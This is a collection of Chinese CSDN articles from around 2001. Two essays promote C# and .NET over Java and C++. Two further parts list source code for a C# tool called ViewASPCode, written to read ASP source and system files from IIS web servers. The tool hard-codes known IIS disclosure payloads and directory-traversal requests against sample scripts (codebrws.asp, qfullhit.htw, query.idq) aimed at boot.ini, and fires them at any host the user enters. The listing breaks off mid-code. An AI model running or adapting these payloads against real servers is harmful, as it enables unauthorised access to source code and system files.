    1995年，SUN公司正式推出了面向对象的开发语言Java，并提出了跨平台、跨语言的概念后（write the code once and run it anywhere），Java就逐渐成为了企业级应用系统开发的首选工具，而且使得越来越多的基于C/C++的应用开发人员转向了从事基于Java的应用开发。Java的先进思想使其在软件开发领域大有山雨欲来风满楼之势。

    很快，在众多研发人员的努力下，微软也推出了自己基于Java语言的编译器Visual J++，Visual J++在最短的时间里由1.1版本升到了6.0版本。这决不仅仅是数字上的变化，集成在Visual Studio 6.0中的Visual J++ 6.0的确有了质的变化，不但虚拟机（JVM）的运行速度大大加快，而且增加了许多新特性，同时支持调用Windows API，这些特性使得Visual J++成为强有力的Windows应用开发平台，并成为业界公认的优秀Java编译器。

    不可否认，Visual J++具有强大的开发功能，但其主要运用在Windows平台的系统开发中，SUN公司认为Visual J++违反了Java的许可协议，即违反了Java开发平台的中立性，因而，对微软提出了诉讼，这使得微软处于极为被动的局面。微软将如何应对呢？

    ■形势所迫另辟蹊径
    就在人们认为微软的局面不可能再有改观的时候，微软却另辟蹊径，决定推出其进军互联网的的庞大计划——.NET计划，和该计划中旗帜性的开发语言——C#。

    微软的.NET是一项非常庞大的计划，也是微软今后几年发展的战略核心，“在任何时间、任何地点，采用相应的设备以获取所需的信息”的梦想并非一朝一夕能实现的。Visual Studio.NET则是微软.NET的技术开发平台，其重要性可见一斑，而C#就集成在Visual Studio.NET中。

    在软件开发领域中，广大的程序开发者们对用一个测试版的平台进行商业应用系统的开发通常都抱着排斥的态度，然而在Visual Studio.NET β版的发布时，众多开发者们却显示出了从未有过的热情。这种热情决不仅仅是因为.net计划的战略重要性和微软CEO巴尔默那情绪激昂的演讲，更表达了开发者需要一个具有强大功能的开发平台的迫切心情。

    为了支持.NET平台，Visual Studio.NET在原来的Visual Studio 6.0的基础上进行了极大的修改和变更。在Visual Studio.NET β版中你会发现Visual J++消失了，取而代之的就是c#语言。至此，微软也摆脱了被动局面。

    虽然Visual Studio.NET仍处在测试阶段，但集成在其中的微软新的开发语言C#，却已引起了众多开发者的瞩目。那么，C#究竟是由谁主持研发的呢？

    ■系出名门风头强劲
    设计一个新的开发语言——C#，对微软未来的发展有着举足轻重的意义，而这样一项伟大而艰巨的任务，微软又怎能不慎之又慎呢！谁将承担此重任并成为开发C#的首席设计师将是微软的一次“生死抉择”。微软最终决定由老将安德尔斯（Anders Hejlsberg）出马，这绝对是最明智之选。

    国内的很多人对安德尔斯可能并不了解，但一提起他的杰作Trubo Pascal和Delphi，可谓是家喻户晓了。安德尔斯是原Broland公司的首席研发设计师，在Broland期间，安德尔斯开发了著名的Trubo Pascal语言，并在其基础上开发了面向对象的应用开发工具Broland Delphi，Delphi目前仍是Broland公司的最重要的旗帜性产品，并已成为了广大开发人员最喜欢的RAD应用开发工具之一。安德尔斯来到微软后，就直接主抓Visul J++的研发工作，这也是为什么你会在C#中发现很多Visul J++特性的原因。

    名家一出手，便知有没有！微软选择了安德尔斯，安德尔斯也没有让微软失望，C#不但成功研发出来，而且其功能之强劲更是让人为之一振！那么系出名门、风头强劲的C#究竟有何强大功能，能给广大开发者带来什么好处呢?

    ■身怀绝技步入征程
    在微软的PDC 2000年会上，当演讲者向各大公司的研发人员展示基于.NET的ASP+上用C#进行设计开发Web应用程序时，观众们报以了热烈的掌声。

    长期以来，C/C++都是最为广泛地应用于商用软件开发中的开发语言，但其强劲的功能和灵活的使用却同时伴随着开发的复杂性，很多基于C/C++的研发人员后来都称用C/C++进行开发如同噩梦一般。Java的出现改变了这一切。

    Java是一个开放、标准、通用的网络运算平台，由于其强大的兼容性和跨平台性，已经成为在互联网技术领域被广泛采用的一个成熟的技术平台。但由于纯Java编程的应用系统其运行速度太慢，而且据Forrest的调查报告显示，基于Java开发的应用系统目前也并没有实现百分百的跨平台，这使得Java仍旧未能完全取代C/C++。

    C#的出现给广大程序开发者又多了一种选择。微软公司对C#的定义是：“C#是一种类型安全的、现代的、简单的，由C和C++衍生出来的面向对象的编程语言，它是牢牢根植于C和C++语言之上的，并可立即被C和C++的使用者所熟悉。C#的目的就是综合Visual Basic的高生产率和C++的行动力。”这个定义是恰如其分的，因为在Visual Studio.NET的β版（见图１）中，我们已经可以利用Ｃ＃极其简单地开发出强大的企业级分布式应用系统了。

    需要提醒大家，脱离了.NET平台而单纯去讲C#是没有太大意义的，所以我们必须先了解一些.NET平台开发的基础知识，才能更深入了解C#的特性。

    .NET框架的核心是基于XML的跨平台跨语言的信息交换，基于此种平台将十分有助于我们开发Internet分布式应用程序。

    基于.NET的Web应用开发主要是使用ASP+，ASP+可以使用任何一种.NET支持的语言编写，而其中C#可以提供脚本语言所无法提供的强大功能,使用C#编写ASP+的Web应用程序在未来将成为Windows平台上Web开发的最佳选择。

    了解了一些.NET平台开发的基础知识后，下面让我们再来结合.NET看看C#的一些绝技：

    快速应用开发（RAD）功能

    支持快速开发（Rapid application development）可以说是目前开发语言最为重要的一大功能，也正是C/C++的致命伤。网络时代应用系统的开发必须按照网络时代的速度来进行，支持快速开发可以使得开发人员的开发效率倍增，从而使得他们可以从繁重的重复性劳动中解放出来。

    C#的RAD功能主要表现在例如垃圾收集、指代等众多特性上。垃圾收集机制将减轻开发人员对内存的管理负担，而指代功能更是可以让开发者不经过内部类就调用函数。利用C#的这些功能，可以使开发者通过较少的代码来实现更强大的应用程序，并且能够更好地避免错误发生，从而缩短了应用系统的开发周期。

    语言的自由性

    用C#编写的程序能最大程度地和任何支持.NET的语言互相交换信息。能够继承和使用任何语言所编写的程序可以称得上是知识的继承，这样做的好处是节省了大量的工作，你不必把COBOL等语言强行改成另一种语言，.NET让各种语言真正地互相交流了。

    C#和其他.NET语言有着最好的协作，这点对开发人员非常重要。全球从事编写软件的人当中，大约有50%以Visual Basic作为基本的编程工具，在跨入.NET编程时代的时候，这些人轻松地使用了.NET的VB开发Web上的应用程序，想想以后你可以和你的那些只懂VB的同事真正在一起共同开发.NET的应用程序时，还有比这更让人轻松和高兴的事情吗？

    强大的Web服务端组件

    在C#的Web编程中，最让人兴奋的是Web服务端的组件，它们不仅包括传统组件，还包括那些能够自动连接五花八门服务的可编程组件，你可以用C#编写自己的服务器端组件，服务器端组件和标准的HTML提供的服务自然是不一样的，使用它们可以更自由、更容易地进行数据绑定。不久，那些视频服务器组件也很快会出现，有了这些强大的组件，我们可以设计出功能更加强劲的企业级分布式应用系统。

    支持跨平台

    随着互联网应用程序的应用越来越广，人们逐渐意识到由于网络系统错综复杂，使用的硬件设备和软件系统各不相同，开发人员所设计的应用程序必须具有强大的跨平台性。C#编写的应用程序就具有强大的跨平台性，这种跨平台性也包括了C#程序的客户端可以运行在不同类型的客户端上，比如PDA、手机等非PC装置。

    与XML的融合

    由于XML技术真正融入到了.NET和C#之中，C#的编程变成了真正意义的网络编程，甚至可以说.NET和C#是专为XML而设计，使用C#的程序员可以轻松用C#内含的类来使用XML技术。就这方面而言，目前C#提供给了程序员更多的自由和更好的性能来使用XML。

    对C++的继承

    C#继承并保留了C++强大的功能，例如， C#保留了类型安全的检测和重载功能，C#还提供了一些新功能取代了一些原来的ANSI C预处理程序的功能，提高了语言的类型安全等安全性。

    了解了C#如此众多的特性，你是不是也感觉心动呢！身怀绝技的C#将在未来正式步入征程，与我们的程序开发人员携手共进！

    ■没有最好只有更好
    由于Visual Studio.NET的正式版本将在今年某个时候才能推出，所以C#将真正成为新世纪的新语言。有人现在就在讨论C#和Java的性能优劣，其实这并没有什么实际意义，因为C#和Java 都将随着时代的发展而继续发展，并不断加以改进以适应新的开发需求，这正印证了一句著名的广告词：“没有最好，只有更好”。

    不久的未来，C#的应用也将如同Java一样，飞速向数字电视、机顶盒、汽车、PDA、移动电话、呼机，甚至电冰箱等其他非PC装置中进行推广。

    总之，只有在激烈的良性竞争下，我们才能更快、更好地促进应用开发技术的发展，才能更加快速地推动IT行业的大发展。不管怎样，C#的确值得我们关注！


csdn_利齿C sharp代替C++

  利齿C sharp代替C++
作者： 伊利贵 张虹
    现在，对于一个正在进行项目开发的公司来说，选择一门Windows下的开发语言已经不再像以前那么容易。C++曾经是商业开发最好的选择，但是现在，开发者们已经没有时间，也没有耐心一遍遍重复“编写代码——编译——排错”这样一个无休止的循环，也不再想去一次次地修补多年前编制的程序里的漏洞，他们已经厌倦了这一切。虽然Windows下的C++编程相对来说比较容易，但网络时代的飞快节奏已经不允许他们慢条斯理地跟自己的开发工具较劲。他们需要一个高效的、安全的开发工具。
    相对于C++而言，Java的优势是开发周期短、代码安全（因为没有指针），以及平台无关性等。然而对于底层开发，Java还是不够理想。尽管这样，还是有众多的程序员开始选择Java作为开发工具，这其中当然包括很多原先Windows的开发者。也许正因为这样，微软才匆忙发行了其.NET SDK(软件开发工具箱)的beta预览版。该开发工具下载下来后共有86M，它向我们展示了未来Windows环境下的一个新开发理念。在工具包中包含有一个C＃编译器，它是一种新的程序语言，被命名为“利齿的C”。不知这一利齿，会把Java咬成什么样子。不过对于C++，C＃似乎有赶尽杀绝之意。

    C++上长出的利齿
    这款微软打制的另类C++对于那些投身于Windows C++开发的人来说，应该说是一大福音，因为它减轻了C++给程序员带来的痛苦。它不同于C++，当然也不同于Java，它使得访问Windows本身所具有的各项服务（包括网络对象、Uis和网络通信）变得非常容易。和Java一样，C＃通过避免一般的编程错误和自动资源管理，使得C＃的稳定性得到了极大的增强。
    如果已经熟悉了C++，那么学习C＃要比学习Java要容易得多。C＃不是由微软来管理，而是由ECMA（欧洲计算机制造联合会）来管理，和JavaScript一样。ECMA是一个独立的实体。并且，然beta预览版里没有做什么暗示，但是有消息称微软将发行其它操作系统版的.NET和C＃（beta版只能在Windiws2000上运行）。如果这是真的，那么不久的将来，C＃很有可能大行其道。

    有批评家告诫说：.NET和C＃只不过是一种已经被宣布或销售但还没有正式生产的新型软件。即使是这样，也不能阻止人们使用C＃的热情。我们用它工作了近一个月，发现它的确要比我们以前使用过的编译器好得多。事实上，因为这款编译器表现确实非常的好，以至于现在已经有开发者在Internet和Web论坛上进行一些C＃的代码交换（比如：http://www.csharpindex.com）。
    现在已经出现了一种编写C＃的编辑器，并且其它从事商业编辑器的商家也正在测试其对C＃的支持情况。一个好的代码编辑应该使得编写一个Web服务器变得很容易。现在微软正在联合Vertigo Software，准备再推出一个实用的.NET电子商务示范产品。

    C++症结何在？
    Java的创始者认为，C++对于程序设计的放任政策给了C++开发者予极大的自由。他们不仅可以轻松访问系统资源，甚至对于语言本身也可以进行重新修改。这也许算得上是一大特色，但也正是这一大特色毁掉了C++本身。用C++编制的程序，代码的错误有可能导致系统漏洞，导致非法或者恶意的内存操作。不仅如此，因为它的问题很难排除，所以令很多程序员大伤脑筋。
    Java应用程序的稳定性，主要得力于其摒弃了C++的一些诸如人工内存定位、指针（直接指向内存）、瞬时变量和超载管理员等功能。此外，其自动的内存管理、方便的平台无关性以及大量的预定义Java对象，都使得Java开发者对于对象的定义和使用都变得非常容易。
    应该说，Java卓越的设计使得企业软件的开发有了很大的改变，但是由于它背离了C++的语法，使得它很难被C++的开发者们所接受。这在很大程度上阻碍了其发展和普及。
    和Java相反，C＃则是将C++向类似Java的方向扩展，这些扩展包括自动内存管理、对象寿命管理、解释执行、轻松访问外部对象和简化对象的创建。C++有益的概念被Java摒弃了，比如超载管理员和参考变量，而C＃则保留了这些概念。被Java抛弃的指针在C＃中也得到了保留，只不过它不再像以前那样无所不能。它仅被使用在那些被标记为非安全的代码段里。

    向C＃移植
    从C++转变到C＃，就像从人工方式转化到自动方式一样？在C++里，必须为对象分配一明确的空闲内存，而在C＃里，内存的分配则是自动完成的。被C＃的对象占用的内存在该对象不再被使用时，将被释放（即内存垃圾的回收技术，这是Java里被人们广为称赞的一项技术）。
    在C++里，为了访问一些系统服务，就必须在文件头里包含进许多文件，而这些文件中的大部分，在对象设计中，根本用不上。在C＃里，系统服务被透明地包装在一些和C＃兼容的对象里。在C++里，要把C++对象变换成Windows的COM（Component Objec Model）是非常困难的，而在C＃里对象会被自动地转换成.NET模式，并且可以从各种.NET语言里进行访问。
    .NET层保证了对象可以在各种语言中使用，所以就没有必要进行数据的转换或者外部对象的转换。
    现在，使用C＃最大的困难就是要求程序员习惯于在不用离合器的情况也能换档。也就说，一旦调整过来以后，C＃将要比C++容易驾驭得多。Java需要其C++开发者们学习的是一种新的做事情的方法。而对于转向C＃来说，C++的开发者们放弃的只是在系统开发过程中的那些用代码编写的难看的对象和糟糕的内存管理。而他们还依旧可以使用指针和参考变量，这给了C＃开发者们一种直接、简单的访问外部模块（包括32位的Windows动态链接库）的途径。
    把Windows C++应用程序转换成Java应用程序将是一件非常痛苦的事情，但是如果把它转换成C＃，.NET多语言交叉的功能将使这一切变得比较容易，并且转换后的应用程序将会在稳定性上得到很大的增强。微软似乎对于轻松访问现有程序方面下了很大的功夫，效果也很不错。
    除了模块要求具有很好的性能外，要把现有的C++应用程序移植到.NET，选择C＃将是一个明智之举。微软的.NET扩展到Visual C++，使得其和C＃代码整合变得非常的容易。

    C＃是继承人
    C＃的产生是因为微软在.NET上需要一种类Java的语言，而Java本身却不能胜任这一需求。C＃太像C++了，以至于它很难给人带来体验新事物时的那种兴奋。不过，可以相信，绝大部分的C++开发者将会因为C＃保留了C++中大部分其喜欢的、强大的、令人激动的功能而选择使用它。不管微软的动机如何，就C＃直接由ECMA来管理这件事，还是很令公众满意的。这使我们有机会得到非微软的C＃工具和编译器以及其它机构发行的资源。
    第三方的C＃开发工具将不需要从微软获得语言许可证书，这就会使得这些工具的价格维持在一个较低的水平。相反的，因为Sun使其Java脱离标准的轨迹，以至它只能孤军奋战，在Java发展的道路上独行。

    因为.NET依赖于C＃，且只能在Windows上运行，所以微软在企业级的开发上实际已经落后于Sun。不过，由于其.NET框架是独立于特定语言的，所以将使得微软在竞争中也能占到了一部分市场份额。即使是在beta版里，开发者也可以使用C++、C＃、Visual Basic、JavaScript、 Visual FoxPro来开发.NET应用程序。他们可以译成一种所谓IL（中间语言）的代码语言，并且共享一个定义在数据无关技术上的框架。因为没有VB、C＃和JavaScript对象，而只有.NET对象，所以开发者可以使用几种语言代码进行混合编程。
    对于传统编程来说，在项目开发中，开发者们都喜欢选用同一种语言，因为这样便于不同开发者间进行连接。现在.NET将不再有这种限制，开发者可以把C＃、VB、C++和JavaScript放在同一代码编译器里，而.NET层可以把这些块捏合在一起，并且还会有更多的程序语言将可以.NET中使用。开发者可以选用自己最熟悉的和最喜欢的程序语言来进行开发。这就意味着可以使用尽量少的时间、更低的培训费用、明了简洁的源代码，这一切都将使得开发者的开发过程变得非常愉快。
    对于C＃来说，其完成的一项首要工作是使得C++的开发者们能够访问其.NET框架。这可不是一件容易的事，因为.NET的目的是要成为Windows企业应用开发的核心。在佛罗里达州奥兰多举行的专业开发人员大会上，.NET初次亮相，微软向世人展示了.NET不仅是独立于硬件的，而且在多平台间交互也很方便。
    微软对于其.NET的移植计划一直保持着沉默，当然使其运行在Windows下是首位的问题，但我们怀疑微软是否会将其尽快地移植到Solaris和Linux上。一旦.NET扩展到Windows以外的其它系统，那么C＃将成为Java真正的强有力的竞争对手。到那时，C＃将成为C++在Windows企业开发中的真正继承人。


csdn_一个用c#写的扫描asp源码漏洞的应用程序(1)

  一个用c#写的扫描asp源码漏洞的应用程序(1)
作者： bigeagle
这儿就是说的那个程序主要部分的源代码.
//--------------------------------------------------------------------------
//
// file name : form1.cs
//
// description : 主form
//
// date: 2001/1/3
//
// author : bigeagle@163.net
// http://bigeagle.yeah.net
//
// history : 2000/1/3 version 0.9
//
// ToDo: translate:f 方法似乎有问题，等得到有关http协议的资料在修改
//
//-------------------------------------------------------------------------

namespace findbug
{
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.WinForms;
using System.Data;
using System.Net ;
using System.IO ;
using System.Text ;
using System.Net.Sockets ;

/// <summary>
/// Summary description for Form1.
/// </summary>
public class Form1 : System.WinForms.Form
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.Container components;
private System.WinForms.StatusBar barStatus;
private System.WinForms.Button btnClear;
private System.WinForms.TextBox txtResult;
private System.WinForms.Button btnGo;
private System.WinForms.Label label3;
private System.WinForms.ComboBox cboMethod;
private System.WinForms.TextBox txtFileName;
private System.WinForms.Label label2;
private System.WinForms.TextBox txtServer;
private System.WinForms.Label label1;
private System.WinForms.MenuItem mnuExit;
private System.WinForms.MenuItem menuItem1;
private System.WinForms.MenuItem mnuNew;
private System.WinForms.MenuItem mnuAbount;
private System.WinForms.MenuItem mnuHelp;
private System.WinForms.MenuItem mnuSave;
private System.WinForms.MenuItem mnuFile;
private System.WinForms.MainMenu mainMenu1;

public Form1()
{
//
// Required for Windows Form Designer support
//
InitializeComponent();

//初始化窗口
InitForm() ;

}

public override void Dispose()
{
base.Dispose();
components.Dispose();
}

//初始化控件
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container ();
this.mnuSave = new System.WinForms.MenuItem ();
this.mnuNew = new System.WinForms.MenuItem ();
this.cboMethod = new System.WinForms.ComboBox ();
this.btnGo = new System.WinForms.Button ();
this.menuItem1 = new System.WinForms.MenuItem ();
this.mnuFile = new System.WinForms.MenuItem ();
this.txtServer = new System.WinForms.TextBox ();
this.mnuHelp = new System.WinForms.MenuItem ();
this.btnClear = new System.WinForms.Button ();
this.label2 = new System.WinForms.Label ();
this.label1 = new System.WinForms.Label ();
this.mnuAbount = new System.WinForms.MenuItem ();
this.barStatus = new System.WinForms.StatusBar ();
this.mainMenu1 = new System.WinForms.MainMenu ();
this.mnuExit = new System.WinForms.MenuItem ();
this.txtResult = new System.WinForms.TextBox ();
this.label3 = new System.WinForms.Label ();
this.txtFileName = new System.WinForms.TextBox ();
mnuSave.Text = "保存";
mnuSave.Shortcut = System.WinForms.Shortcut.CtrlS;
mnuSave.Index = 1;
mnuNew.Text = "新建";
mnuNew.Shortcut = System.WinForms.Shortcut.F2;
mnuNew.Index = 0;
mnuNew.Click += new System.EventHandler (this.mnuNew_Click);
cboMethod.Location = new System.Drawing.Point (96, 56);
cboMethod.Size = new System.Drawing.Size (121, 20);
cboMethod.TabIndex = 4;
btnGo.Location = new System.Drawing.Point (296, 56);
btnGo.Size = new System.Drawing.Size (75, 23);
btnGo.TabIndex = 6;
btnGo.Text = "让我看";
btnGo.Click += new System.EventHandler (this.btnGo_Click);
menuItem1.Text = "-";
menuItem1.Index = 2;
mnuFile.Text = "文件(&F)";
mnuFile.Index = 0;
mnuFile.MenuItems.All = new System.WinForms.MenuItem[4] {this.mnuNew, this.mnuSave, this.menuItem1, this.mnuExit};
txtServer.Location = new System.Drawing.Point (96, 16);
txtServer.Text = "http://";
txtServer.TabIndex = 1;
txtServer.Size = new System.Drawing.Size (100, 21);
mnuHelp.Text = "帮助(&H)";
mnuHelp.Index = 1;
mnuHelp.MenuItems.All = new System.WinForms.MenuItem[1] {this.mnuAbount};
btnClear.Location = new System.Drawing.Point (408, 56);
btnClear.Size = new System.Drawing.Size (75, 23);
btnClear.TabIndex = 8;
btnClear.Text = "清空";
btnClear.Click += new System.EventHandler (this.btnClear_Click);
label2.Location = new System.Drawing.Point (224, 16);
label2.Text = "文件名：";
label2.Size = new System.Drawing.Size (72, 16);
label2.Font = new System.Drawing.Font ("宋体", 12);
label2.TabIndex = 2;
label1.Location = new System.Drawing.Point (24, 21);
label1.Text = "主机名：";
label1.Size = new System.Drawing.Size (72, 16);
label1.Font = new System.Drawing.Font ("宋体", 12);
label1.TabIndex = 0;
mnuAbount.Text = "关于";
mnuAbount.Shortcut = System.WinForms.Shortcut.CtrlA;
mnuAbount.Index = 0;
mnuAbount.Click += new System.EventHandler (this.mnuAbount_Click);
barStatus.BackColor = System.Drawing.SystemColors.Control;
barStatus.Location = new System.Drawing.Point (0, 423);
barStatus.Size = new System.Drawing.Size (568, 18);
barStatus.TabIndex = 9;
barStatus.Text = "就绪";
mainMenu1.MenuItems.All = new System.WinForms.MenuItem[2] {this.mnuFile, this.mnuHelp};
mnuExit.Text = "退出(&X)";
mnuExit.Shortcut = System.WinForms.Shortcut.AltF4;
mnuExit.Index = 3;
mnuExit.Click += new System.EventHandler (this.mnuExit_Click);
txtResult.Location = new System.Drawing.Point (16, 96);
txtResult.Multiline = true;
txtResult.ScrollBars = System.WinForms.ScrollBars.Both;
txtResult.TabIndex = 7;
txtResult.Size = new System.Drawing.Size (536, 312);
txtResult.Visible = false;
label3.Location = new System.Drawing.Point (32, 56);
label3.Text = "使用";
label3.Size = new System.Drawing.Size (56, 16);
label3.Font = new System.Drawing.Font ("宋体", 12);
label3.TabIndex = 5;
txtFileName.Location = new System.Drawing.Point (304, 16);
txtFileName.TabIndex = 3;
txtFileName.Size = new System.Drawing.Size (232, 21);
this.Text = "ViewASPCode";
this.StartPosition = System.WinForms.FormStartPosition.CenterScreen;
this.AutoScaleBaseSize = new System.Drawing.Size (6, 14);
this.Menu = this.mainMenu1;
this.ClientSize = new System.Drawing.Size (568, 441);
this.Controls.Add (this.barStatus);
this.Controls.Add (this.btnClear);
this.Controls.Add (this.txtResult);
this.Controls.Add (this.btnGo);
this.Controls.Add (this.label3);
this.Controls.Add (this.cboMethod);
this.Controls.Add (this.txtFileName);
this.Controls.Add (this.label2);
this.Controls.Add (this.txtServer);
this.Controls.Add (this.label1);
}

//菜单项about点击，显示about对话框
protected void mnuAbount_Click (object sender, System.EventArgs e)
{
about objAbout = new about() ;
objAbout.ShowDialog(this) ;
objAbout.Dispose() ;
}

//初始化窗口
private void InitForm()
{
this.cboMethod.Items.Add("直接读取") ;
this.cboMethod.Items.Add(".") ;
this.cboMethod.Items.Add("%81") ;
this.cboMethod.Items.Add("::DATA") ;
this.cboMethod.Items.Add("%2e") ;
this.cboMethod.Items.Add("%2e%41sp") ;
this.cboMethod.Items.Add("+.htr") ;
this.cboMethod.Items.Add("\\") ;
this.cboMethod.Items.Add("longhtr") ;
this.cboMethod.Items.Add(".bak") ;
this.cboMethod.Items.Add("codebrws.asp") ;
this.cboMethod.Items.Add("showcode.asp") ;
this.cboMethod.Items.Add("null.htw") ;
this.cboMethod.Items.Add("qfullhit.htw") ;
this.cboMethod.Items.Add("qsumrhit.htw") ;
this.cboMethod.Items.Add("query.idq") ;
this.cboMethod.Items.Add("search/qfullhit.htw") ;
this.cboMethod.Items.Add("search/qsumrhit.htw") ;
this.cboMethod.Items.Add("iirturnh.htw") ;
this.cboMethod.Items.Add(".htw") ;
this.cboMethod.Items.Add("Translate:f") ;

this.cboMethod.SelectedIndex = 0 ;
}

//新建
protected void mnuNew_Click (object sender, System.EventArgs e)
{
this.txtServer.Text = "http://" ;
this.txtFileName.Text = "" ;
this.txtResult.Text = "" ;
}

//清除结果
protected void btnClear_Click (object sender, System.EventArgs e)
{
this.txtResult.Text = "" ;
}


csdn_一个用c#写的扫描asp源码漏洞的应用程序(2)

  一个用c#写的扫描asp源码漏洞的应用程序(2)
作者： bigeagle
//主要方法
protected void btnGo_Click (object sender, System.EventArgs e)
{

//解析url
string strServer = this.txtServer.Text ;
string strUrl = this.txtFileName.Text ;
char [] point = {'.'} ; //定义分割符为"."
char[] line = {'/'} ; //定义分割符为"."
string [] arrString = strUrl.Split(line) ;

//求asp文件全名
string strFileName = arrString[arrString.Length - 1] ;
//求从根目录下的路径
string strPath = strUrl.Substring( 0 ,
strUrl.Length - strFileName.Length) ;

//解析文件全名
arrString = strFileName.Split(point) ;
//求文件扩展名
string strLast = arrString[arrString.Length - 1] ;
//求文件名
string strFirst = strFileName.Substring( 0 ,
strFileName.Length - strLast.Length - 1) ;

//使按钮、输入框等失效
this.txtServer.ReadOnly = true ;
this.txtFileName.ReadOnly = true ;
this.btnClear.Enabled = false ;
this.btnGo.Enabled = false ;

if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
|| this.txtServer.Text.Trim()== "" ||
this.txtServer.Text.Substring(0,7) != "http://")
{
MessageBox.Show("请输入正确的主机名和文件名！") ;
this.txtServer.Focus() ;
}
else
{
this.txtResult.Visible = true ;
this.txtResult.ReadOnly = true ;
this.barStatus.Text = "正在连结主机…" ;

string strRequestFile ;

switch (this.cboMethod.SelectedIndex)
{
case 0: //直接读取
strRequestFile = strServer + strUrl ;
break ;
case 5 : //%2e%41sp
strRequestFile = strServer + strPath + strFirst
+ "%2e%41sp" ;
break ;
case 8 : //longhtr
strRequestFile = strServer + strUrl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
break ;

case 10: //codebrws.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strUrl ;
break ;

case 11: //showcode.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/../../../../boot.ini" ;
break;

case 12 : //null.htw
strRequestFile = strServer + "/null.htw?CiWebHitsFile="
+ strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
break ;
case 13 : //qfullhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 14 : //qsumrhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 15 : //query.idq
strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";
break ;

case 16: //search/qfullhit.htw
strRequestFile = strServer + "/iissamples/exair/search/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 17: // search/qsumrhit.htw
strRequestFile = strServer + "/iissamples/exair/search/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 18: //iirturnh.htw
strRequestFile = strServer + "/iishelp/iis/misc/iirturnh.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 19: //.htw
strRequestFile = strServer + strUrl
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full" ;
break ;

default:
strRequestFile = strServer + strUrl + this.cboMethod.Text ;
}

this.barStatus.Text = "发送请求："
+ (strRequestFile.Length >= 50 ?
strRequestFile.Substring(0 , 50)
:strRequestFile)
+ "...";

string strResult ;
//如果不是translate:f方法则可以直接发送http请求
if (this.cboMethod.SelectedIndex != 20)
{
//直接发送http请求
strResult = Get_Http(strRequestFile) ;

this.barStatus.Text += "完成。" ;
strResult = strResult == "" ? "未找到！" : strResult ;
this.txtResult.Text = strResult ;
}
else //translate:f方法需要建立tcp/ip连接
{
string strRequest = "GET " + strServer + strUrl
